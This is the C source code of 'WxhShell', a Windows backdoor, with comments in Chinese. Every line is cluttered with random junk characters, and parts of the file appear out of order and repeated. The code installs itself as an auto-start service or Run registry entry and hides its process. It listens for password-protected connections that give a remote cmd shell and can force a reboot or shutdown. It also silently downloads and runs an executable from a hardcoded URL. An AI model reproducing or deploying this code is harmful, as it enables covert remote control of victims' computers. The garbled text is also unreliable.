    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {wA(%e3_  
    if(Boot(SHUTDOWN)) EX@wenR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gc,%A'OR^<  
    else { h9-^aB$8^  
    closesocket(wsh); 5 6w6=Is  
    ExitThread(0); N hG?@N  
    } 8vR Q_  
    break;  -]n\|U<  
    } t}6QU  
  // 获取shell g6aIS^mU  
  case 's': { OYW:I1K<5  
    CmdShell(wsh); {8]Yqx)1]]  
    closesocket(wsh); @:s (L]  
    ExitThread(0); tx`gXtO$  
    break; Wz{,N07Q#{  
  } ^1`Mz<  
  // 退出 %j $r"  
  case 'x': { ]"q9~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z#uxa  
    CloseIt(wsh); (r*"}"ZG  
    break; c6-~PKJL  
    } KJ (|skO  
  // 离开 =2XAQiUR\  
  case 'q': { -,:^dxE'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZQ1,6<^9i[  
    closesocket(wsh); )?y${T   
    WSACleanup(); }jdMo83  
    exit(1); Y[sBVz'j5  
    break; +-2W{lX  
        } '< =77yDg  
  } 88uoA6Y8h  
  } 10}< n_I  
-8zdkm8k  
  // 提示信息 tEuVn5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uE &/:+  
} Y' FB {  
  } 80_}}op ?8  
E5iNuJj=f  
  return; 1L;3e@G  
} MxLg8,M  
2^w8J w9  
// shell模块句柄 v]h^0WU  
int CmdShell(SOCKET sock) +khVi}  
{ .D3k(zZ  
STARTUPINFO si; '><I|c}  
ZeroMemory(&si,sizeof(si)); h[ cqa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tn 38T%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u7nTk'#r  
PROCESS_INFORMATION ProcessInfo; /Z| K9a  
char cmdline[]="cmd"; u(W>HVEG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7?@ -|{  
  return 0; P(xgIMc H  
} joA>-k04  
nPW=m`jG  
// 自身启动模式 qx5jaa3  
int StartFromService(void) _s18^7  
{ 4|/}~9/  
typedef struct 8hV>Q  
{ xp*Wf#BF  
  DWORD ExitStatus; A1Es>NK[qW  
  DWORD PebBaseAddress; 2`^M OGYk  
  DWORD AffinityMask;  MFyi#nq  
  DWORD BasePriority; U6?3 z  
  ULONG UniqueProcessId; fnJx$PD~  
  ULONG InheritedFromUniqueProcessId; .k -!/^  
}   PROCESS_BASIC_INFORMATION; VX:Kq<XwQ  
#;0F-pt  
PROCNTQSIP NtQueryInformationProcess; z!G?T(SpA  
XwZR Kh\>=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,K15KN.'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RF[Uy?es  
Cy\ o{6  
  HANDLE             hProcess; I ]ZksC  
  PROCESS_BASIC_INFORMATION pbi; r XT6u  
:z-?L0C=0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fl8eNi E|  
  if(NULL == hInst ) return 0; uCx6/ n6'  
ujWC!*W(Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7Y.mp9,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C1==a FD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q_6v3no1  
BU<Qp$ &  
  if (!NtQueryInformationProcess) return 0; $9@3dM*E?Z  
o&$Of  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6 \?GY  
  if(!hProcess) return 0; 4(? Z1S  
cTja<*W^xv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KFBBqP  
{nMCU{*k  
  CloseHandle(hProcess); soOfk!b  
4axuE]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t>vr3)W  
if(hProcess==NULL) return 0; mtf><YU  
1RauI0d*  
HMODULE hMod; BsR3$  
char procName[255]; *+%$OH,  
unsigned long cbNeeded; |RH^|2:x9Q  
,f~)CXNT?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kl|m @Nxp  
rRX F@  
  CloseHandle(hProcess); YF(bl1>YC  
8dh ?JqX  
if(strstr(procName,"services")) return 1; // 以服务启动 &,QBJx<#  
gm$<U9L\v  
  return 0; // 注册表启动 Y,m=&U  
} m~tv{#Y  
79uAsI2-Y  
// 主模块 ~zoZ{YqP  
int StartWxhshell(LPSTR lpCmdLine) S;" $02]  
{ #Cb~-2:+7  
  SOCKET wsl; `j4OKZ  
BOOL val=TRUE; r*c x_**  
  int port=0; ~H4Tr[8a  
  struct sockaddr_in door; Q sPZ dC  
-sx=1+\nf  
  if(wscfg.ws_autoins) Install(); nTE\EZ+=2  
xUPg~c0  
port=atoi(lpCmdLine); Iv{uk$^7S  
5 Nt9'"  
if(port<=0) port=wscfg.ws_port; nj#kzD[n>  
7yal  T.  
  WSADATA data;  [33=+C a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o,qUf  
K8uqLSP '  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6RfS_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _6`H `zept  
  door.sin_family = AF_INET; +.a->SZ5"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *iUR1V Y  
  door.sin_port = htons(port); g6h=Q3@  
;y;UgwAM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M1eM^m8U  
closesocket(wsl); $VeQvm*  
return 1; L;U?s2&Y  
} $*j)ey>  
z J V>;  
  if(listen(wsl,2) == INVALID_SOCKET) { G)gPL]C0  
closesocket(wsl); c^~R %Bx  
return 1; km,@yU  
} nu X`>Oy  
  Wxhshell(wsl); |~+bbN|b  
  WSACleanup(); `pXPF}T  
/~+j[o B  
return 0; ?:7.3{|Aq  
vv D515i  
} Q SvgbjdE  
nc?Oj B  
// 以NT服务方式启动 W . dm1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *X 2dS {  
{ RaA7 U   
DWORD   status = 0; H284 ]i  
  DWORD   specificError = 0xfffffff; [ z{ }?  
8p]Krs:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )5x,-m@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rs@qC>_C0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `jT1R!$3F  
  serviceStatus.dwWin32ExitCode     = 0;  s-S|#5  
  serviceStatus.dwServiceSpecificExitCode = 0; t x1(6V&l;  
  serviceStatus.dwCheckPoint       = 0; zLjQ,Lp.I  
  serviceStatus.dwWaitHint       = 0; H,)2Ou-Wn  
5Y5N   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zb2.o5#}  
  if (hServiceStatusHandle==0) return; "9,+m$nj  
cN7|Zsc\  
status = GetLastError(); ,Z(J;~  
  if (status!=NO_ERROR) 4x$Ts %]  
{ 6~Y`<#X5J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0T:ZWRjH  
    serviceStatus.dwCheckPoint       = 0; vl5r~F  
    serviceStatus.dwWaitHint       = 0; ]U.YbWe^  
    serviceStatus.dwWin32ExitCode     = status; %)L|7v<  
    serviceStatus.dwServiceSpecificExitCode = specificError; F"a31`L>H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); { pu .l4nk  
    return; '.zr:l  
  } !%'c$U2  
2w:cdAv$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _'P!>C!  
  serviceStatus.dwCheckPoint       = 0; I z)~h>-F  
  serviceStatus.dwWaitHint       = 0; $,jynRk7q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 74a>}+"  
} [4HOWM>\  
ANd#m9(x  
// 处理NT服务事件,比如:启动、停止 s ]Db<f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q46sPMH+_  
{ M9wj };vy  
switch(fdwControl) UzUt=s!^H  
{ X-5&c$hv  
case SERVICE_CONTROL_STOP: zqb3<WP"  
  serviceStatus.dwWin32ExitCode = 0; WQ1*)h8,9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^/jALA9!  
  serviceStatus.dwCheckPoint   = 0; } "AGX  
  serviceStatus.dwWaitHint     = 0; ?)XPY<  
  { |79n 1;+\?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k&3'[&$I*,  
  } 3EX41)u  
  return; \"mL LnK?  
case SERVICE_CONTROL_PAUSE: oW8 hC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9h'klaE(  
  break; B#(2,j7M  
case SERVICE_CONTROL_CONTINUE: mYqRN1%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qjd8Q  
  break; t 5  
case SERVICE_CONTROL_INTERROGATE: df!n.&\y!  
  break; X" ;ly0Mb  
}; 44_CT?t<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .p(~/MnO  
} =j!Ruy1  
 JS!  
// 标准应用程序主函数 I)F3sS45}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #zc{N"!  
{ j?P8&Fm<  
D[R<H((  
// 获取操作系统版本 JheF}/Bx  
OsIsNt=GetOsVer(); "K-2y ^Dl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w7X], auRC  
+#R<emW  
  // 从命令行安装 NQhlb"Ix  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0Xw3h^%  
$5a%hK  
  // 下载执行文件 7eekTh, ?  
if(wscfg.ws_downexe) { U^{'"x+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I4^}C;p0?  
  WinExec(wscfg.ws_filenam,SW_HIDE); @~`2L o/  
} QyX ?  
Kly`V]XE  
if(!OsIsNt) { &d^u$Y5  
// 如果时win9x,隐藏进程并且设置为注册表启动 \i$WXW]|  
HideProc(); W]DZ'  
StartWxhshell(lpCmdLine); IMay`us]:8  
} '74-rL:i  
else 8k`rj;  
  if(StartFromService()) ok7yFm1\  
  // 以服务方式启动 @}@J$ g  
  StartServiceCtrlDispatcher(DispatchTable); I!sB$=n  
else OA3* "d*  
  // 普通方式启动 &GH ,is  
  StartWxhshell(lpCmdLine); R2$;f?;:  
f6Io|CZWJ  
return 0; B?)=d,E  
} FGG 7;0(  
');QmN%J  
RAW(lZ(  
_o-D},f*e  
=========================================== _oJq32  
L(i*v5?  
TGe{NUO  
h_Cac@F0  
G(XI TL u*  
*k#M;e  
" pu +"bq  
aPMqJ#fIr  
#include <stdio.h> @dj 2#  
#include <string.h> P7i G,i  
#include <windows.h> #]!0$z|Z  
#include <winsock2.h> ^N5BJ'[F:  
#include <winsvc.h> '9MtIcNb  
#include <urlmon.h> ,pz^8NJAI  
-6KGQc}U  
#pragma comment (lib, "Ws2_32.lib") ki^c)Tqn  
#pragma comment (lib, "urlmon.lib") h[0,/`qb{  
GKNH{|B$D  
#define MAX_USER   100 // 最大客户端连接数 l[q%1-N  
#define BUF_SOCK   200 // sock buffer U ExK|t  
#define KEY_BUFF   255 // 输入 buffer dM1)wkbET  
UldG0+1d  
#define REBOOT     0   // 重启 /Ma"a ^  
#define SHUTDOWN   1   // 关机 ;h"?h*}m!\  
,HFoy-Yq  
#define DEF_PORT   5000 // 监听端口 duKR;5:  
jWd 7>1R?  
#define REG_LEN     16   // 注册表键长度 L27i_4E,  
#define SVC_LEN     80   // NT服务名长度 007SA6xq  
HV??B :  
// 从dll定义API )MKzAAt~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;hOrLy&O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \=yx~c_$L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \HB4ikl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;O2r+n  
/M-%]sayj  
// wxhshell配置信息 Q-!a;/  
struct WSCFG { OwwlQp ~!J  
  int ws_port;         // 监听端口 E(e'qL  
  char ws_passstr[REG_LEN]; // 口令 iG1vy'J#o  
  int ws_autoins;       // 安装标记, 1=yes 0=no ncluA~8  
  char ws_regname[REG_LEN]; // 注册表键名 /?jAG3"  
  char ws_svcname[REG_LEN]; // 服务名 tndtwM*B'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T/" 6iv\1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XTHy CK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3JiDi X"|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i`^`^Ka  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9T4x1{mO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MEQ :[;1  
s e9X  
}; J@y1L]:  
mACj>0Z'  
// default Wxhshell configuration hN6j5.x%  
struct WSCFG wscfg={DEF_PORT, ! Q`GA<ikv  
    "xuhuanlingzhe", J>P{8Aw  
    1, E lt=/,v`!  
    "Wxhshell", JBCcR,\kM*  
    "Wxhshell", .VVY]>bJg@  
            "WxhShell Service", RpE69:~PV  
    "Wrsky Windows CmdShell Service", Y" s1z<?  
    "Please Input Your Password: ", Dq!Vo;s2  
  1, -i@1sNx&'  
  "http://www.wrsky.com/wxhshell.exe", 0)V<)"i  
  "Wxhshell.exe" $up.< qzj  
    }; 8Hf!@p6R+  
xS` %3+|  
// 消息定义模块 bmEo5f~C!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {|%N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %v\0Dm+A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;%Jw9G\h  
char *msg_ws_ext="\n\rExit."; U3 e3  
char *msg_ws_end="\n\rQuit."; +k'5W1e  
char *msg_ws_boot="\n\rReboot..."; ) =<,$|g  
char *msg_ws_poff="\n\rShutdown..."; w<*tbq  
char *msg_ws_down="\n\rSave to "; > _1*/o JO  
zxtx~XO  
char *msg_ws_err="\n\rErr!"; cjU*  
char *msg_ws_ok="\n\rOK!"; c<j2wKz  
DKCPi0  
char ExeFile[MAX_PATH]; \FSkI0  
int nUser = 0; 8? 4j-  
HANDLE handles[MAX_USER]; I)AV  
int OsIsNt; 0(;d<u)fS  
Efb>ZQ  
SERVICE_STATUS       serviceStatus; bE2^sx`(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8H3|i7.1h  
@eN x:}  
// 函数声明 )eNR4nF  
int Install(void); maLKUSgo  
int Uninstall(void); e%&2tf4  
int DownloadFile(char *sURL, SOCKET wsh); }u&.n pc  
int Boot(int flag); ewqfs/  
void HideProc(void); iK6L\'k  
int GetOsVer(void); d_*'5Eia6  
int Wxhshell(SOCKET wsl); F kp;G  
void TalkWithClient(void *cs); lvIKL!;H  
int CmdShell(SOCKET sock); TdI5{?sW  
int StartFromService(void); D*Y4B ?,  
int StartWxhshell(LPSTR lpCmdLine); (b Q1,y  
@kUCc1LT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u=feR0|8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M-u:8dPu  
o+SD(KVn-  
// 数据结构和表定义 SIjdwr!+ZZ  
SERVICE_TABLE_ENTRY DispatchTable[] = 5C/W_H+9iK  
{ E)m{m$Hb  
{wscfg.ws_svcname, NTServiceMain}, {[PoLOCI  
{NULL, NULL} 8/*q#j  
}; Y25S:XHk9  
p5c^dC{   
// 自我安装 $ +;`[b   
int Install(void) @CU3V+  
{ _niXl&C  
  char svExeFile[MAX_PATH]; -:`$8/A|  
  HKEY key; pq7G[  
  strcpy(svExeFile,ExeFile); q4<3 O"c1  
kJqgY|  
// 如果是win9x系统,修改注册表设为自启动 Qwb=N  
if(!OsIsNt) { n4+l, ~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0.C y4sH'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _rXTHo7P  
  RegCloseKey(key); Tm5]M$)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9D:p~_"g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }<o.VY&;.  
  RegCloseKey(key); jpZ, $  
  return 0; ;sCf2TD,_  
    } \5 IB/ *  
  } tT87TmNsA  
} |ul25/B B  
else { Mo|[Muj8b  
f n )m$\2  
// 如果是NT以上系统,安装为系统服务 Od70w*,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sPn[FuT>+s  
if (schSCManager!=0) EA9`-xs|  
{ g4(B=G\j  
  SC_HANDLE schService = CreateService L8N`<a5T  
  ( |GtTz&  
  schSCManager, @FKNB.>  
  wscfg.ws_svcname, +M!f}=H  
  wscfg.ws_svcdisp, pi:%Bd&F  
  SERVICE_ALL_ACCESS, r k;k:<c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^AK<]r<?L?  
  SERVICE_AUTO_START, WY#A9i5Ge  
  SERVICE_ERROR_NORMAL,  XeDiiI  
  svExeFile, `;4P?!WG  
  NULL, Ro$'|}(+A  
  NULL, 4G0Er?D   
  NULL, ~YKe:K+&z  
  NULL, *Hy-D</w%  
  NULL tM]~^U  
  ); pb1/HhRR^n  
  if (schService!=0) TaeN?jc5  
  { ,j^ /~  
  CloseServiceHandle(schService); "S.5_@?  
  CloseServiceHandle(schSCManager); | ?3\xw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mfe/(tlI  
  strcat(svExeFile,wscfg.ws_svcname); ZIQy}b'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `q7O\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m8;; O  
  RegCloseKey(key); 6lOT5C eJ"  
  return 0; `P<}MeJ\l  
    } !`L%wS  
  } 0Lmq?D  
  CloseServiceHandle(schSCManager); .)o<'u@Ri  
} T;qP"KWZ  
} "hi?/B#d  
?47q0C  
return 1; S/ )P&V%  
} |oPCmsO3R{  
P:vAU8d>  
// 自我卸载 {/G~HoY1i  
int Uninstall(void) )WavG1  
{ 4;'o`K~*  
  HKEY key; Aq%TZ_m  
__M(dN(^  
if(!OsIsNt) { +<7~yZ[Z8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  u)PB@  
  RegDeleteValue(key,wscfg.ws_regname); Gs;wx_k^  
  RegCloseKey(key); m`gH5vQa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e/JbRbZX  
  RegDeleteValue(key,wscfg.ws_regname); 5xe} ljo  
  RegCloseKey(key); \,)('tUE  
  return 0; L,c@Z@  
  } r18eu B%  
}  P_6oMR  
} 42E]&=Cet  
else { lJ;7sgQ#  
ste0:.*qb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); esU9  
if (schSCManager!=0) ;+] mcgN!  
{ (CFm6p'RZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZN#mu]jC?  
  if (schService!=0) cO%-Av~P  
  { "/[xak!g  
  if(DeleteService(schService)!=0) { low 0@+Q  
  CloseServiceHandle(schService); >Lj0B%^EvM  
  CloseServiceHandle(schSCManager); =i[_C>U  
  return 0; X c~yr\%]  
  } 2#LTd{  
  CloseServiceHandle(schService); Y!s94#OaZ  
  } jWk1FQte  
  CloseServiceHandle(schSCManager); w%F~4|F  
} <]<P<  
} ^k6 A,Ak  
nR'!Ui  
return 1; OP0KK^#  
} .anXsjD%W  
zLEl/yPE  
// 从指定url下载文件 r(WR=D{  
int DownloadFile(char *sURL, SOCKET wsh) +.^BM/z^O  
{ \6A Yx[|  
  HRESULT hr; hB/4.K]8  
char seps[]= "/"; a!rU+hiC  
char *token; __N< B5E  
char *file; VbX+`CwH  
char myURL[MAX_PATH]; 2GeJ\1k  
char myFILE[MAX_PATH]; art L  
UW%zR5q  
strcpy(myURL,sURL); 1;8=,&  
  token=strtok(myURL,seps); D! TFb E  
  while(token!=NULL) ramYSX@  
  { N?7MYP  
    file=token; M ,!Dhuas  
  token=strtok(NULL,seps); 7L3:d7=MIW  
  } [`pp[J-~7  
C#<b7iMg  
GetCurrentDirectory(MAX_PATH,myFILE); 8Ld{Xg  
strcat(myFILE, "\\"); SQ&nQzL  
strcat(myFILE, file); <&JK5$l<X  
  send(wsh,myFILE,strlen(myFILE),0); \cJ?2^Eq  
send(wsh,"...",3,0); @GTkS!86  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +I~`Ob  
  if(hr==S_OK) [ye!3h&]  
return 0; b)ytm=7ha  
else ^#-d^ )f;  
return 1; *UL++/f  
~4gOv  
} k*XI/k5Vc  
b,C2(?hg  
// 系统电源模块 O_=2{k~s0  
int Boot(int flag) K9-;-{qb  
{ /`6Y-8e2  
  HANDLE hToken; u NmbR8Mx  
  TOKEN_PRIVILEGES tkp; Ub[SUeBGH  
!@>_5p>q*  
  if(OsIsNt) { Vx'82CIC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :\hcl&W:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j'L/eps?S  
    tkp.PrivilegeCount = 1; ]k+XL*]'A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S+wy^x@@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `Xs3^FJt  
if(flag==REBOOT) { a ]~Rp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]'IZbx:  
  return 0; bsCl w  
} 287g 5  
else {  SXqWq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FR*CiaD1  
  return 0; &~4;HjS  
} yV"k:_O{  
  } r_R( kns  
  else { xA7>";sla[  
if(flag==REBOOT) { GgT 5'e;N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +lYo5\1=  
  return 0; uX/K/4  
} t+9[ki  
else { -d-vzri  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I:|<};m m  
  return 0; Fw{:fFZC[  
} h@kq>no  
} WZ@hP'Zc  
rgo#mTQ_  
return 1; yP<ngi^s=  
}  ujin+;1  
z6'Cz}%EP'  
// win9x进程隐藏模块 3#\++h]QZ  
void HideProc(void) s+m3&(X  
{ 7{z\^R^O  
@n|Mr/PAj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *r)/Vx`S  
  if ( hKernel != NULL ) UY5wef2sF  
  { 8'sT zB]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }H5~@c$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7!qO*r  
    FreeLibrary(hKernel); xdLMy#U2  
  } CJa`[;i0y  
pH9xyN[:a  
return; isBtJ7\Sc  
} Bm>>-nG;  
xF8U )j !  
// 获取操作系统版本 d/&W[jJ  
int GetOsVer(void) a^vTBJXo  
{ s!IX3rz  
  OSVERSIONINFO winfo; APgjT' ;P^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NZb}n`:  
  GetVersionEx(&winfo); "1P[D'HV4|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AONEUSxJ  
  return 1; :  I q  
  else '^|u\$&U  
  return 0; M&[bb $00j  
} 8NZQTRdH  
:~^_*:  
// 客户端句柄模块 vZiuElxKi  
int Wxhshell(SOCKET wsl) K0aT(Rc e  
{ :kMF.9U:  
  SOCKET wsh; W(jOD,QMB  
  struct sockaddr_in client; ikd1KF+I  
  DWORD myID; WqO4_;X6/  
)5[OG7/g  
  while(nUser<MAX_USER) c 80Ffq  
{ gf ?_tB0C  
  int nSize=sizeof(client); 79*f <Gr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 _oAs"w  
  if(wsh==INVALID_SOCKET) return 1; A+=K<e  
@fQvAok  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P#!^9)3  
if(handles[nUser]==0) |NdWx1  
  closesocket(wsh); Q]{ `m  
else i7XM7 +}  
  nUser++; gbrn'NT  
  } | LX Vf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]?7q%7-e.a  
h/oC9?v  
  return 0; rD;R9b"J  
} n \i ~H  
pi|=3W  
// 关闭 socket ^`S.Mw.  
void CloseIt(SOCKET wsh) f6,?Yex8B  
{ }`pxs  
closesocket(wsh); oh0*bh  
nUser--; 6}cN7wnm j  
ExitThread(0); GY t|[GC  
} )61X,z  
/ q| o  
// 客户端请求句柄 cC*H.N  
void TalkWithClient(void *cs) <y=+Gh  
{ ,p>@:C/M  
0z$::p$%u  
  SOCKET wsh=(SOCKET)cs; i+Lqj  
  char pwd[SVC_LEN]; `m`Y3I  
  char cmd[KEY_BUFF]; `%/w0,0  
char chr[1]; G,}"}v:  
int i,j; Y 8n*o3jM  
9i46u20  
  while (nUser < MAX_USER) { @~QI3)=s  
?j;,:n   
if(wscfg.ws_passstr) { ~f:"Q(f+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +>ld  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `F$lO2#k  
  //ZeroMemory(pwd,KEY_BUFF); BR-4L2[  
      i=0; udOdXz6K?  
  while(i<SVC_LEN) { - i#Kpf  
P~*'/!@  
  // 设置超时 a$5P\_  
  fd_set FdRead; x#XxD<y  
  struct timeval TimeOut; 7Ucq(,\./  
  FD_ZERO(&FdRead); &Nw[J5-"k  
  FD_SET(wsh,&FdRead); +O)Y7k{?C5  
  TimeOut.tv_sec=8; ?="?)t[  
  TimeOut.tv_usec=0; ZY|$[>X!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4(dgunP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mpNS}n6  
?_7iL?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &;naaV_2T  
  pwd=chr[0]; TT oW>RP#  
  if(chr[0]==0xd || chr[0]==0xa) { 1+#E|YWJ  
  pwd=0; N;v]ypak  
  break; 9>@Vk vpY  
  } R2A#2{+H  
  i++; f~R+Q/Gtz`  
    } w! PguP  
'!F'B:  
  // 如果是非法用户,关闭 socket 6HZVBZhM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W]5Hc|!^^  
} >qVSepK3  
(<}BlL   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L6"V=^Bq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kEp{L  
vSy[lB|)24  
while(1) { :Y|[?;  
r&+w)U~  
  ZeroMemory(cmd,KEY_BUFF); <1#hX(Q  
81H9d6hqcD  
      // 自动支持客户端 telnet标准   S%j W} v';  
  j=0; X"sJiFS  
  while(j<KEY_BUFF) { N 9s+Tm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L_tjclk0J  
  cmd[j]=chr[0]; @)C.IQ~  
  if(chr[0]==0xa || chr[0]==0xd) { `pjB^--w  
  cmd[j]=0; w*]FJ-b<.j  
  break; HQNpf1=D  
  } [tRb{JsUd  
  j++; '6cXCO-_P  
    } ";;!c.!^  
of {K{(M7@  
  // 下载文件 pL . 0_  
  if(strstr(cmd,"http://")) { !X9^ L^v}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G +&pq  
  if(DownloadFile(cmd,wsh)) e$Mvl=NYp\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  \EXa 9X2  
  else ~)VI` 36X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R9  Y@I  
  } ,M~> t7+  
